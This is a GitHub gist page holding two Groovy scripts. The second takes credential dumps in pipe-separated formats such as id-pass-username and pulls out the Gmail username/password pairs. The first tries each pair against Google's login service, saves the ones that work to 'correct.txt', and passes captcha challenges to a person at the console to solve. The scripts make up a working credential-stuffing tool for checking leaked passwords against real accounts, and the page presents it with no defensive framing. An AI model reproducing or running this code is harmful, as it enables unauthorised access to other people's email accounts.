Skip to content

Instantly share code, notes, and snippets.

@lucastex
Created June 16, 2011 15:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lucastex/1029427 to your computer and use it in GitHub Desktop.
Save lucastex/1029427 to your computer and use it in GitHub Desktop.
find gmail addresses in the list
import com.google.gdata.client.GoogleService
new File("correct.txt").delete()
def correctCreds = new File("correct.txt")
def credentials = new File("gmail.txt")
credentials.eachLine { line ->
def parts = line.split("[|]")
def username = parts[0].trim()
def password = parts[1].trim()
try {
print "testing credentials for ${username}/${password}"
def google = new GoogleService("mail", "test")
google.setUserCredentials(username, password)
correctCreds << "${username} | ${password}\n"
println " - Authorized"
} catch (GoogleService.CaptchaRequiredException captcha) {
print "\ncaptcha: "
"open ${captcha.getCaptchaUrl()}".execute()
def captchaAnswer = System.console().readLine()
try {
def google = new GoogleService("mail", "test")
google.setUserCredentials(username, password, captcha.getCaptchaToken(), captchaAnswer)
} catch (Exception exp) {
println "Error - ${exp.message}"
}
} catch (Exception exp) {
println " - Not authorized - ${exp.message}"
}
}
println "done!"
def files = [
"id-pass-username.txt": { line ->
if (line) {
def parts = line?.split("[|]")
if (parts.size() >= 3) {
def username = parts[2]?.trim()
def password = parts[1]?.trim()
if (username && password) { return [username, password] }
return [null, null]
}
return [null, null]
}
return [null, null]
},
"pass-username.txt": { line ->
if (line) {
def parts = line?.split("[|]")
if (parts.size() >= 2) {
def username = parts[1]?.trim()
def password = parts[0]?.trim()
if (username && password) { return [username, password] }
return [null, null]
}
return [null, null]
}
return [null, null]
},
"username-pass.txt": { line ->
if (line) {
def parts = line?.split("[|]")
if (parts.size() >= 2) {
def username = parts[0]?.trim()
def password = parts[1]?.trim()
if (username && password) { return [username, password] }
return [null, null]
}
return [null, null]
}
return [null, null]
}
]
def gmailFile = new File("gmail.txt")
files.each { fileName, splitter ->
def f = new File(fileName)
f.eachLine { line ->
def (username, password) = splitter(line)
if (username?.indexOf("@gmail.com") > -1) {
gmailFile << "${username} | ${password}\n"
}
}
}
println "done!"
@08145192931
Copy link

@08145192931
Copy link

@08145192931
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment